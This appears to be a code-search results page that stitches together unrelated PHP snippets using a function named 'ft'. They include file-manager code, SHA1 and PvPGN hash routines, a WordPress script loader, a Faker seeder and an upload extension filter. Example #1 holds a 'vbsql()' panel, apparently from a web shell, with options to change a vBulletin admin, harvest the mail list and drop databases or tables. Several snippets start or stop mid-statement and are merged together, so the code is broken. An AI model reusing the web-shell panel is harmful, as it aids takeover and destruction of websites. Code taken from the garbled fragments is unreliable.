Example #1
0
Warning: This file is read-only. You will not be able to edit it unless you CHMOD it to something like 644.

================================
') . str_replace('\\n', '\\r\\n', str_replace('\\r\\n', '\\n', htmlentities(isset($filecontents) ? $filecontents : ($filecontents = fm_contents($d)))));
} else {
    echo ' disabled="disabled">


    Error: File doesn\'t exist';
}
?>
</textarea></div>
      </form>
<?php 
if ($ext_codemirror && $writable) {
    if (ft($fileext) == 2 || ft($fileext) == 3 || $fileext == 'phps') {
        ?>
      <script type="text/javascript" src="addons/codemirror/codemirror.js"></script>
      <script type="text/javascript">
      <!--
      if (CodeMirror.isProbablySupported())
      {
        codemirror = true;
        codemirroreditor = CodeMirror.fromTextArea('val', {
          parserfile: ['parsexml.js', 'parsecss.js', 'parsetokenizejavascript.js',
                       'parsetokenizephp.js', 'parsephphtmlmixed.js'],
          stylesheet: 'addons/codemirror/colors.css',
          path: 'addons/codemirror/',
          basefiles: ['codemirror_base.js'],
          saveFunction: save,
          onChange: chkchange,
function fm_fileinfo($d)
{
    $path = $GLOBALS['prepath'] . $d;
    $file = filefrompath($path);
    if (!fm_exists($d)) {
        return FALSE;
    }
    $size = filesize($path);
    $modified = filemtime($path);
    $ext = fext($file);
    return array('name' => $file, 'bname' => endsWith($file, '/') ? substr($file, 0, -1) : $file, 'id' => file2id($file), 'isdir' => filetype($path) == 'dir', 'size' => $size, 'tsize' => textfilesize($size), 'modified' => $modified, 'tmodified' => date("M j, Y g:i:s A", $modified), 'tdmodified' => date("M j, Y", $modified), 'perms' => substr(sprintf('%o', fileperms($path)), -3), 'owner' => fileowner($path), 'group' => filegroup($path), 'ext' => $ext, 'img' => fticon($ext), 'type' => textfiletype($ext), 'ft' => ft($ext), 'writable' => fm_iswritable($d), 'isvimg' => isvimg($ext), 'imgsize' => (isvimg($ext) || $ext == 'psd' || $ext == 'bmp') && $size <= 5242880 ? @getimagesize($path) : FALSE);
}
function vbsql()
{
    echo "<form action=\"" . $php . "\" method=\"post\">\n<div align =\"center\"><b>VB Opreators (VB Only)</b>";
    echo '<div align=left>';
    echo "<b>DataBase options</b><br>";
    $n = 'mysql';
    $u = 'User Name';
    $p = 'Password';
    if (!empty($_POST['tab1'])) {
        $t = $tb;
    }
    if (!empty($_POST['sqdbn'])) {
        $n = $db;
    }
    if (!empty($_POST['sqlog'])) {
        $u = $user;
    }
    if (!empty($_POST['sqpwd'])) {
        $p = $pass;
    }
    echo "<br>";
    inp('radio', '10', 'vbss', 'vbca', 'Change Admin', '<br>');
    inp('radio', '10', 'vbss', 'vbgm', 'GET maillist', '<br>');
    inp('radio', '10', 'vbss', 'vbrb', 'Remove Courent DB');
    inp('radio', '10', 'vbss', 'vbro', 'Remove Other DB');
    inp('text', '15', 'odb', $n, '', '<br>');
    inp('radio', '10', 'vbss', 'vbrt', 'Remove Table', ':::::-------:::::');
    inp('text', '15', 'tab1', $t, 'TABLE Name:');
    echo "<br>";
    echo "<br>";
    inp('text', '19', 'sqdbn', $n);
    inp('text', '19', 'sqlog', $u);
    inp('text', '18', 'sqpwd', $p);
    inp('text', '15', 'sqsrv', 'localhost');
    inp('text', '15', 'sqprt', '3306');
    echo "<br><br><div align =\"center\">";
    sub('vbsq', 'DO IT!', '<br>');
    echo "</form><br><br>";
    echo "<a href=\"" . $php . "\">Home</a>";
    echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>";
    ft();
    die;
}
Example #4
0
function calc_sha1($str)
{
    $x = str2blks_SHA1($str);
    $a = 1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d = 271733878;
    $e = -1009589776;
    for ($i = 0; $i < sizeof($x); $i += 16) {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;
        for ($j = 0; $j < 80; $j++) {
            if ($j < 16) {
                $w[$j] = $x[$i + $j];
            } else {
                $w[$j] = rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);
            }
            $t = safe_add(safe_add(rol($a, 5), ft($j, $b, $c, $d)), safe_add(safe_add($e, $w[$j]), kt($j)));
            $e = $d;
            $d = $c;
            $c = rol($b, 30);
            $b = $a;
            $a = $t;
        }
        $a = safe_add($a, $olda);
        $b = safe_add($b, $oldb);
        $c = safe_add($c, $oldc);
        $d = safe_add($d, $oldd);
        $e = safe_add($e, $olde);
    }
    return sprintf("%08s%08s%08s%08s%08s", dechex($a), dechex($b), dechex($c), dechex($d), dechex($e));
}
function get_hash($str)
{
    // Fix for Unicode support by Naki-BoT
    for ($i = 0; $i < strlen($str); $i++) {
        // PvPGN hash is case insensitive but only for ASCII characters
        if (ord($str[$i]) < 128) {
            $str[$i] = strtolower($str[$i]);
        }
    }
    $x = str2blks_pvpgn($str);
    $a = 0x6745 << 16 | 0x2301;
    $b = 0xefcd << 16 | 0xab89;
    $c = 0x98ba << 16 | 0xdcfe;
    $d = 0x1032 << 16 | 0x5476;
    $e = 0xc3d2 << 16 | 0xe1f0;
    for ($i = 0; $i < count($x); $i += 16) {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;
        for ($j = 0; $j < 16; $j++) {
            $w[$j] = $x[$i + $j];
        }
        for ($j = 0; $j < 64; $j++) {
            $ww = $w[$j] ^ $w[$j + 8] ^ $w[$j + 2] ^ $w[$j + 13];
            $w[$j + 16] = 1 << $ww % 32;
        }
        for ($j = 0; $j < 80; $j++) {
            if ($j < 20) {
                $t = safe_add(safe_add(safe_rol($a, 5), ft($j, $b, $c, $d)), safe_add(safe_add($e, $w[$j]), kt($j)));
            } else {
                $t = safe_add(safe_add(safe_rol($t, 5), ft($j, $b, $c, $d)), safe_add(safe_add($e, $w[$j]), kt($j)));
            }
            $e = $d;
            $d = $c;
            $c = safe_rol($b, 30);
            $b = $a;
            $a = $t;
        }
        // Fix for 64-bit OS by Pada
        $a = safe_add($t, $olda) & 4294967295.0;
        $b = safe_add($b, $oldb) & 4294967295.0;
        $c = safe_add($c, $oldc) & 4294967295.0;
        $d = safe_add($d, $oldd) & 4294967295.0;
        $e = safe_add($e, $olde) & 4294967295.0;
    }
    return sprintf("%08x%08x%08x%08x%08x", $a, $b, $c, $d, $e);
}
Example #6
0
function atins_scripts()
{
    global $post, $sitepress, $sitepress_settings;
    // CSS
    wp_enqueue_style('atins-style', f('css/style.css'), array(), ft('css/style.css'));
    // JS - Redirect
    $languages = $sitepress->get_ls_languages(array('skip_missing' => intval(true)));
    $language_urls = array();
    foreach ($languages as $language) {
        if (isset($language['default_locale']) && $language['default_locale']) {
            $language_urls[$language['default_locale']] = $language['url'];
            $language_parts = explode('_', $language['default_locale']);
            if (count($language_parts) > 1) {
                foreach ($language_parts as $language_part) {
                    if (!isset($language_urls[$language_part])) {
                        $language_urls[$language_part] = $language['url'];
                    }
                }
            }
        }
        $language_urls[$language['language_code']] = $language['url'];
    }
    $http_host = $_SERVER['HTTP_HOST'] == 'localhost' ? '' : $_SERVER['HTTP_HOST'];
    $cookie = array('name' => '_icl_visitor_lang_js', 'domain' => defined('COOKIE_DOMAIN') && COOKIE_DOMAIN ? COOKIE_DOMAIN : $http_host, 'path' => defined('COOKIEPATH') && COOKIEPATH ? COOKIEPATH : '/', 'expiration' => $sitepress_settings['remember_language']);
    $params = array('pageLanguage' => defined('ICL_LANGUAGE_CODE') ? ICL_LANGUAGE_CODE : get_bloginfo('language'), 'languageUrls' => $language_urls, 'cookie' => $cookie);
    wp_register_script('browser-redirect', f('js/redirect.js'), array(), ft('js/redirect.js'));
    wp_localize_script('browser-redirect', 'browser_redirect_params', $params);
    wp_enqueue_script('browser-redirect');
    // JS - Scripts
    wp_register_script('atins-script', f('js/scripts.js'), array('jquery'), ft('js/scripts.js'), true);
    // if ( is_singular( 'directory' ) ) {
    // 	$code = get_field( 'tripadvisor', $post->ID );
    // 	if ( $code )
    // 		wp_localize_script( 'atins-script', 'tripadvisor', json_encode($code) );
    // }
    wp_enqueue_script('atins-script');
    // JS - Maps
    if (is_singular('directory') || is_page_template('template-region.php')) {
        wp_enqueue_script('gmaps-api', 'https://maps.googleapis.com/maps/api/js?v=3.exp', array('jquery'), null, true);
        wp_enqueue_script('atins-gmaps', f('js/gmaps.js'), array('jquery', 'gmaps-api'), ft('js/gmaps.js'), true);
    }
}
function fm_fileinfo($d)
{
    global $ftp, $ftp_prepath;
    if (!$d) {
        return array('name' => '/', 'bname' => '', 'id' => file2id('/'), 'isdir' => true, 'size' => 0, 'tsize' => '-', 'modified' => 0, 'tmodified' => '-', 'tdmodified' => '-', 'perms' => 0, 'owner' => '', 'group' => '', 'ext' => '/', 'img' => fticon('/'), 'type' => textfiletype('/'), 'ft' => 1, 'writable' => true, 'isvimg' => false, 'imgsize' => false);
    }
    $up = upOne($ftp_prepath . $d);
    if (is_array($filecache[$up]['raw'])) {
        $cfiles = $filecache[$up]['raw'];
    } else {
        if (!fm_ftpconnect()) {
            return false;
        }
        ftp_chdir($ftp, $up);
        $cfiles = ftp_rawlist($ftp, '.');
        ftp_chdir($ftp, '/');
        $filecache[$up]['raw'] = $cfiles;
    }
    $file = basename($d);
    foreach ($cfiles as $cfile) {
        $info = array();
        $cinfo = preg_split('/[\\s]+/', $cfile, 9);
        if ($cinfo[0] !== 'total' && $cinfo[8] != '.' && $cinfo[8] != '..' && $cinfo[8] == $file) {
            $cfilen = $cinfo[8] . ($cinfo[0][0] == 'd' ? '/' : '');
            $ext = fext($cfilen);
            $info = array('name' => $cfilen, 'bname' => $cinfo[8], 'id' => file2id($cfilen), 'isdir' => $cinfo[0][0] == 'd' ? '/' : '', 'size' => intval($cinfo[4]), 'tsize' => textfilesize(intval($cinfo[4])), 'modified' => 0, 'tmodified' => $cinfo[5] . ' ' . $cinfo[6] . ' ' . $cinfo[7], 'tdmodified' => $cinfo[5] . ' ' . $cinfo[6], 'perms' => permconvert($cinfo[0]), 'owner' => $cinfo[2], 'group' => $cinfo[3], 'ext' => $ext, 'img' => fticon($ext), 'type' => textfiletype($ext), 'ft' => ft($ext), 'writable' => true, 'isvimg' => false, 'imgsize' => false);
            return $info;
        }
    }
    return false;
}
Example #8
0
        $time = $faker->dateTime;
        $gu->prepare("INSERT INTO newssystem VALUES (null,?,?,?,?,?,?)")->execute([$title, ft($time), $author, $content, $content, $alias]);
        $title = $faker->sentence();
        $author = $faker->numberBetween(2, $NUM_COMMON_USERS + $NUM_OTHER_USERS);
        $content = $faker->realText(800);
        //        $alias = $faker->unique()->domainWord;
        $time = $faker->dateTime;
        $duc->prepare("INSERT INTO news VALUES (null,?,?,?,?)")->execute([ft($time), $author, $content, $content]);
        echo "Added news article {$i}\n";
    }
} elseif ($type == 'bans') {
    for ($i = 0; $i < $NUM_BANS; $i++) {
        $time = $faker->dateTime;
        $author = $faker->numberBetween(2, $NUM_COMMON_USERS + $NUM_OTHER_USERS);
        $content = $faker->userName . " has been banned because they were " . "cheating at " . $faker->time('g:i a') . " on " . $faker->dayOfWeek . ".\n\n" . "It is suspected that they were using the " . $faker->userAgent . " cheat, which utilises ." . $faker->fileExtension . " files to generate " . "a stream of invalid data sent to " . $faker->country . ", under the fake " . "name of \"" . $faker->name . "\", posing as methods to \"" . $faker->bs . "\".";
        $duc->prepare("INSERT INTO bans VALUES (null,?,?,?,?)")->execute([ft($time), $author, $content, $content]);
        echo "Added ban {$i}\n";
    }
} else {
    echo "Unknown type.";
}
echo "\n";
/**
 * Format a date for MySQL
 *
 * @param DateTime $t
 *
 * @return string
 */
function ft(DateTime $t)
{
Example #9
0
function aphp(&$file)
{
    if (isadmin()) {
        return;
    }
    if (!$GLOBALS['allow_php'] && ft(fext($file)) == 3) {
        $file .= substr($file, -4) == '.php' ? 's' : '.txt';
    }
    if (substr(basename($file), 0, 1) == '.') {
        $file = substr($file, 0, -strlen(basename($file))) . 'new' . basename($file);
    }
    if (!$GLOBALS['allow_php']) {
        // Turns out Apache has a rather insecure file handler system, so
        $splitfile = explode('.', preg_replace('/[^A-Za-z0-9.]+/', '', strtr($file, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')));
        if (!endsWith($file, '.txt') && !endsWith($file, '.phps') && array_intersect($splitfile, array('php', 'inc', 'asp', 'cgi', 'jsp', 'pl', 'py', 'shtml', 'ssi', 'phtml', 'php1', 'php2', 'php3', 'php4', 'php5', 'php6', 'php7', 'php8'))) {
            $file .= '.txt';
        }
    }
}
Example #10
0
function fileinfo($path)
{
    $file = filefrompath($path);
    if (!file_exists($path)) {
        return FALSE;
    }
    $size = filesize($path);
    $modified = filemtime($path);
    $ext = getfext($file);
    return array('name' => $file, 'id' => filetype($path) == 'dir' ? 'fold_' . substr($file, 0, -1) : 'file_' . $file, 'isdir' => filetype($path) == 'dir', 'size' => $size, 'tsize' => textfilesize($size), 'modified' => $modified, 'tmodified' => date("F j, Y g:i:s A", $modified), 'perms' => substr(sprintf('%o', fileperms($path)), -4), 'ext' => $ext, 'img' => textfileimg($ext), 'type' => textfiletype($ext), 'ft' => ft($ext), 'extac' => getfextac($ext), 'isvimg' => isvimg($ext), 'imgsize' => (isvimg($ext) || $ext == 'psd' || $ext == 'bmp') && $size <= 5242880 ? $imgsize = @getimagesize($path . $file) : FALSE);
}
Example #11
0
function pvpgn_hash($str)
{
    $x = str2blks_pvpgn($str);
    $a = 0x6745 << 16 | 0x2301;
    $b = 0xefcd << 16 | 0xab89;
    $c = 0x98ba << 16 | 0xdcfe;
    $d = 0x1032 << 16 | 0x5476;
    $e = 0xc3d2 << 16 | 0xe1f0;
    for ($i = 0; $i < sizeof($x); $i += 16) {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;
        for ($j = 0; $j < 16; $j++) {
            $w[$j] = $x[$i + $j];
        }
        for ($j = 0; $j < 64; $j++) {
            $ww = $w[$j] ^ $w[$j + 8] ^ $w[$j + 2] ^ $w[$j + 13];
            $w[$j + 16] = 1 << $ww % 32;
        }
        for ($j = 0; $j < 80; $j++) {
            if ($j < 20) {
                $t = safe_add(safe_add(safe_rol($a, 5), ft($j, $b, $c, $d)), safe_add(safe_add($e, $w[$j]), kt($j)));
            } else {
                $t = safe_add(safe_add(safe_rol($t, 5), ft($j, $b, $c, $d)), safe_add(safe_add($e, $w[$j]), kt($j)));
            }
            $e = $d;
            $d = $c;
            $c = safe_rol($b, 30);
            $b = $a;
            $a = $t;
        }
        $a = safe_add($t, $olda);
        $b = safe_add($b, $oldb);
        $c = safe_add($c, $oldc);
        $d = safe_add($d, $oldd);
        $e = safe_add($e, $olde);
    }
    return sprintf("%08x%08x%08x%08x%08x", $a, $b, $c, $d, $e);
}